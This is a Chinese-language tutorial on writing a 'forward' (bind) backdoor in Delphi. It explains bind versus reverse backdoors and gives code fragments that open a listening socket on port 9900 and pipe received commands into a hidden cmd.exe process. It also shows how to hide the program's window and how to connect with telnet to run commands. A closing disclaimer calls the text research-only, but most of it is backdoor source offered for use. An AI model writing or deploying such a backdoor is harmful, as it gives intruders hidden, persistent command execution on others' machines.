DELPHI黑客编程(一):正向后门原理实现
字数 577 2025-08-18 11:37:11
Delphi黑客编程:正向后门原理与实现
一、后门分类与概念
1. 后门类型
- 正向后门:在被控机上开启监听端口,等待控制机连接
- 反弹后门:被控端主动连接控制机
2. 应用场景差异
- 正向后门要求被控机可直接通过IP访问
- 反弹后门要求控制机可直接通过IP访问
二、后门核心功能
1. 与远控的区别
- 功能简单,专注于权限维持
- 主要功能:隐藏、潜伏、保持连接、命令执行
2. 演示Demo功能
- 仅包含基础命令执行功能
三、技术实现原理
1. 网络通信部分
- 使用Windows Socket API建立连接
- 关键步骤:
socket()创建套接字bind()绑定地址listen()开始监听accept()等待连接recv()/send()数据收发closesocket()关闭连接
2. 命令执行部分
- 通过进程通信将命令传递给cmd.exe
- 实现方法可选:
- 匿名管道
- 单管道
- 直接绑定socket
四、代码实现详解
1. 通信建立代码
port := 9900; // 定义监听端口
timeout := PChar(50000); // 定义超时时间
// 创建socket
bindserver := socket(AF_INET, SOCK_STREAM, 0);
// 设置地址结构
addrserver.sin_family := AF_INET;
addrserver.sin_port := htons(port);
addrserver.sin_addr.S_addr := INADDR_ANY;
// 设置socket选项
setsockopt(bindserver, SOL_SOCKET, SO_RCVTIMEO, timeout, sizeof(timeout));
// 绑定地址并开始监听
bind(bindserver, addrserver, sizeof(addrserver));
listen(bindserver, 5);
2. 管道与CMD通信代码
var
sa: SECURITY_ATTRIBUTES;
siinfo: STARTUPINFO;
// 设置安全属性
sa.nLength := sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor := nil;
sa.bInheritHandle := TRUE;
// 创建两个匿名管道
createpipe(hreadpipe1, hwritepipe1, @sa, 0);
createpipe(hreadpipe2, hwritepipe2, @sa, 0);
// 设置新进程启动信息
siinfo.dwFlags := (STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
siinfo.wShowWindow := SW_HIDE; // 隐藏窗口
siinfo.hStdInput := hreadpipe2; // 输入管道
siinfo.hStdOutput := hwritepipe1; // 输出管道
siinfo.hStdError := hwritepipe1; // 错误管道
// 创建cmd进程
StrPCopy(cmdpath, 'c:\windows\system32\cmd.exe');
CreateProcess(nil, cmdpath, nil, nil, true, 0, nil, nil, siinfo, processinformation);
五、隐藏窗口技巧
var
win: longint;
win := getforegroundwindow; // 获取当前窗体句柄
showwindow(win, SW_HIDE); // 隐藏窗体
六、使用方法
- 编译并运行后门程序,监听9900端口
- 使用telnet连接被控机9900端口
- 连接成功后即可执行命令
七、安全声明
本文仅用于技术研究与学习目的,严禁用于任何非法活动。所有技术细节仅供安全研究人员了解攻击原理,以便更好地进行防御。